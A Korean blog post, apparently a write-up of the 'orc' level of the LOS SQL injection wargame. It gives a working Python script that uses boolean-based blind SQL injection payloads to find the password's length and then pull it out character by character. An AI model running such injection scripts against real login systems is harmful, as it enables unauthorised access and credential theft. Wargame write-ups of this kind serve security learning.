
4번째 문제 ORC 이다.
소스 코드를 보면 이전과는 다른 느낌이 든다.
id 반환값이 있다면 Hello admin 을 반환하며 pw를 정확하게 맞춰야 문제를 풀 수 있다.
따라서 blind injection 이라는 것을 알 수 있다.
import requests
sess = '세션값'
pl = 0
password = ''
for i in range(1,50):
r = requests.get(url, params={'pw':f"' or length(pw)={i};-- -"}, cookies={'PHPSESSID':sess})
if '<br><h2>Hello admin' in r.text:
print(i)
pl = i
for i in range(1,pl+1):
for j in range(33,127):
r = requests.get(url, params={'pw':f"' or ord(substr(pw,{i},1))={j};-- -"}, cookies={'PHPSESSID':sess})
if '<br><h2>Hello admin' in r.text:
print(j)
password += chr(j)
break
print(password)
여기서 password 길이가 4, 8 총 두 개가 나오는데, 둘 다 해본 결과 8글자 짜리 패스워드가 맞는 답이었다.
그리고 LOS는 로그인 한 상태로 문제 푸는거라서 쿠키값에 세션 넣어서 요청 보내야 한다.

풀었다!
'Web > LOS' 카테고리의 다른 글
| LOS - darkelf (0) | 2024.09.15 |
|---|---|
| LOS - wolfman (0) | 2024.09.15 |
| LOS - goblin (0) | 2024.09.15 |
| LOS - cobolt (0) | 2024.09.15 |
| LOS - gremlin (1) | 2024.09.15 |